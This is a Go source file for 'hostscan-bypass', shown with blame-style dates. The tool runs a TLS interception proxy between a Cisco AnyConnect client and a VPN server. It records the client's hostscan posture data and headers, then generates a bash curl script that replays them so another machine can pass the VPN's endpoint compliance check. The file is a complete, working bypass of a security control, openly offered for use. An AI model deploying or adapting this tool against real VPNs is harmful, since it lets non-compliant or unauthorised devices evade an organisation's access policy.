Files
hostscan-bypass/hostscan-bypass.go

331 lines
8.1 KiB
Go
Raw Permalink Normal View History

2018-07-23 18:48:15 -04:00
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"io"
"io/ioutil"
"math/big"
"net"
"os"
"time"
"log"
"strings"
)
type TLS struct {
Country []string "GB"
Org []string "hostscan"
CommonName string "*.domain.com"
}
type Config struct {
2020-04-17 17:38:44 +02:00
Remotehost string
Localhost string
Localport int
TLS *TLS
CertFile string ""
OutputFile string
ClientCertFile string
ClientKeyFile string
2018-07-23 18:48:15 -04:00
}
type Hostscan struct {
UserAgent string
Plat string
Endpoint string
}
var CSD_Script = `#!/bin/bash
# Generated by hostscan-bypass.go
2018-07-23 20:48:09 -04:00
#
# Github repo: https://github.com/Gilks/hostscan-bypass
# Blog post: https://gilks.github.io/post/cisco-hostscan-bypass
2018-07-23 18:48:15 -04:00
#
# You can find a list of hostscan requirements here:
# https://<VPN Page>/CACHE/sdesktop/data.xml
function run_curl
{
curl \
--insecure \
--user-agent "$useragent" \
--header "X-Transcend-Version: 1" \
--header "X-Aggregate-Auth: 1" \
--header "X-AnyConnect-Platform: $plat" \
--cookie "sdesktop=$token" \
"$@"
}
set -e
host=https://$CSD_HOSTNAME
plat="<PLAT>"
useragent="<USERAGENT>"
token=$CSD_TOKEN
run_curl --data-binary @- "$host/+CSCOE+/sdesktop/scan.xml?reusebrowser=1" <<-END
2018-07-23 18:48:15 -04:00
<ENDPOINT>
END
exit 0
`
var config Config
var ids = 0
func genCert() ([]byte, *rsa.PrivateKey) {
ca := &x509.Certificate{
SerialNumber: big.NewInt(1653),
Subject: pkix.Name{
Country: config.TLS.Country,
Organization: config.TLS.Org,
CommonName: config.TLS.CommonName,
},
NotBefore: time.Now(),
NotAfter: time.Now().AddDate(10, 0, 0),
SubjectKeyId: []byte{1, 2, 3, 4, 5},
BasicConstraintsValid: true,
IsCA: true,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
}
priv, _ := rsa.GenerateKey(rand.Reader, 1024)
pub := &priv.PublicKey
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
if err != nil {
fmt.Println("create ca failed", err)
}
return ca_b, priv
}
func handleServerMessage(connR, connC net.Conn, id int) {
for {
data := make([]byte, 2048)
n, err := connR.Read(data)
if n > 0 {
connC.Write(data[:n])
//fmt.Printf("From Server [%d]:\n%s\n", id, hex.Dump(data[:n]))
//fmt.Printf("From Server:\n%s\n",hex.EncodeToString(data[:n]))
}
if err != nil && err != io.EOF {
fmt.Println(err)
break
}
}
}
func handleConnection(conn net.Conn, isTLS bool, hostscan Hostscan) {
var err error
var connR net.Conn
if isTLS == true {
2020-04-17 17:38:44 +02:00
var conf tls.Config
if config.ClientCertFile != "" {
cert, err := tls.LoadX509KeyPair(config.ClientCertFile, config.ClientKeyFile)
if err != nil {
fmt.Println(err)
return
}
conf = tls.Config{InsecureSkipVerify: true, Certificates: []tls.Certificate{cert}}
} else {
conf = tls.Config{InsecureSkipVerify: true}
}
2018-07-23 18:48:15 -04:00
connR, err = tls.Dial("tcp", config.Remotehost, &conf)
} else {
connR, err = net.Dial("tcp", config.Remotehost)
}
if err != nil {
2020-04-17 17:38:44 +02:00
fmt.Println(err)
2018-07-23 18:48:15 -04:00
return
}
fmt.Printf("[*][%d] Connected to server: %s\n", ids, connR.RemoteAddr())
id := ids
ids++
go handleServerMessage(connR, conn, id)
for {
data := make([]byte, 2048)
n, err := conn.Read(data)
if n > 0 {
fmt.Printf("From Client [%d]:\n%s\n", id, hex.Dump(data[:n]))
//fmt.Printf("From Client:\n%s\n",hex.EncodeToString(data[:n]))
var StrResp = hex.EncodeToString(data[:n])
decoded, err := hex.DecodeString(StrResp)
if err != nil {
log.Fatal(err)
}
//fmt.Printf("%s\n", decoded)
var ClientReq = string(decoded)
if strings.Contains(ClientReq, "endpoint") {
hostscan.Endpoint += ClientReq
}
if strings.Contains(ClientReq, "User-Agent:") && strings.Contains(ClientReq, "X-AnyConnect-Platform:") {
//fmt.Print(ClientReq)
headers := strings.Split(ClientReq, "\r\n")
for i := range headers {
if strings.Contains(headers[i], "User-Agent:") {
hostscan.UserAgent = strings.Split(headers[i],": ")[1]
CSD_Script = strings.Replace(CSD_Script, "<USERAGENT>", hostscan.UserAgent, 1)
}
if strings.Contains(headers[i], "X-AnyConnect-Platform:") {
hostscan.Plat = strings.Split(headers[i],": ")[1]
CSD_Script = strings.Replace(CSD_Script, "<PLAT>", hostscan.Plat, 1)
}
}
}
connR.Write(data[:n])
_ = hex.Dump(data[:n])
}
if err != nil && err == io.EOF {
if hostscan.Endpoint != "" {
CSD_Script = strings.Replace(CSD_Script, "<ENDPOINT>", hostscan.Endpoint, 1)
script, err := os.Create(config.OutputFile)
if err != nil {
panic(err)
}
fmt.Fprintf(script, CSD_Script)
script.Close()
fmt.Print("\n[+] Successfully created CSD to bypass hostscan!\n")
fmt.Printf("[+] Output File: %s\n", config.OutputFile)
os.Exit(0)
}
fmt.Println(err)
break
}
}
connR.Close()
conn.Close()
}
func startListener(isTLS bool) {
var err error
var conn net.Listener
var cert tls.Certificate
var hostscan = Hostscan{}
if isTLS == true {
if config.CertFile != "" {
cert, _ = tls.LoadX509KeyPair(fmt.Sprint(config.CertFile, ".pem"), fmt.Sprint(config.CertFile, ".key"))
} else {
ca_b, priv := genCert()
cert = tls.Certificate{
Certificate: [][]byte{ca_b},
PrivateKey: priv,
}
}
conf := tls.Config{
Certificates: []tls.Certificate{cert},
}
conf.Rand = rand.Reader
conn, err = tls.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport), &conf)
} else {
conn, err = net.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport))
}
if err != nil {
panic("failed to connect: " + err.Error())
}
fmt.Println("[*] Listening for AnyConnect client connection..")
for {
cl, err := conn.Accept()
if err != nil {
fmt.Printf("server: accept: %s", err)
break
}
fmt.Printf("[*] Accepted from: %s\n", cl.RemoteAddr())
go handleConnection(cl, isTLS, hostscan)
}
conn.Close()
}
2020-04-17 17:38:44 +02:00
func setConfig(configFile string, localPort int, localHost, remoteHost string, certFile string, outputFile string, clientCertFile string, clientKeyFile string) {
2018-07-23 18:48:15 -04:00
if configFile != "" {
data, err := ioutil.ReadFile(configFile)
if err != nil {
fmt.Println("[-] Not a valid config file: ", err)
os.Exit(1)
}
err = json.Unmarshal(data, &config)
if err != nil {
fmt.Println("[-] Not a valid config file: ", err)
os.Exit(1)
}
} else {
config = Config{TLS: &TLS{}}
}
if certFile != "" {
config.CertFile = certFile
}
if localPort != 0 {
config.Localport = localPort
}
if localHost != "" {
config.Localhost = localHost
}
if remoteHost != "" {
config.Remotehost = remoteHost
}
if outputFile == "" {
config.OutputFile = "hostscan-bypass.sh"
} else if strings.HasSuffix(outputFile, ".sh") {
config.OutputFile = outputFile
} else {
config.OutputFile = outputFile + ".sh"
}
2020-04-17 17:38:44 +02:00
if clientCertFile != "" {
config.ClientCertFile = clientCertFile
if clientKeyFile != "" {
config.ClientKeyFile = clientKeyFile
} else {
config.ClientKeyFile = clientCertFile
}
}
2018-07-23 18:48:15 -04:00
}
func main() {
localPort := flag.Int("p", 0, "Local Port to listen on")
localHost := flag.String("l", "", "Local address to listen on")
remoteHostPtr := flag.String("r", "", "Remote Server address host:port")
configPtr := flag.String("c", "", "Use a config file (set TLS ect) - Commandline params overwrite config file")
tlsPtr := flag.Bool("s", false, "Create a TLS Proxy")
certFilePtr := flag.String("cert", "", "Use a specific certificate file")
outputFile := flag.String("o", "", "Output name for CSD hostscan bypass")
2020-04-17 17:38:44 +02:00
clientCertFilePtr := flag.String("client-cert", "", "Read client certificate from file.")
clientKeyFilePtr := flag.String("client-key", "", "Read client key from file. If only client-cert is given, the key and cert will be read from the same file.")
2018-07-23 18:48:15 -04:00
flag.Parse()
2020-04-17 17:38:44 +02:00
setConfig(*configPtr, *localPort, *localHost, *remoteHostPtr, *certFilePtr, *outputFile, *clientCertFilePtr, *clientKeyFilePtr)
2018-07-23 18:48:15 -04:00
if config.Remotehost == "" {
fmt.Println("[-] Remote host required")
flag.PrintDefaults()
os.Exit(1)
}
startListener(*tlsPtr)
}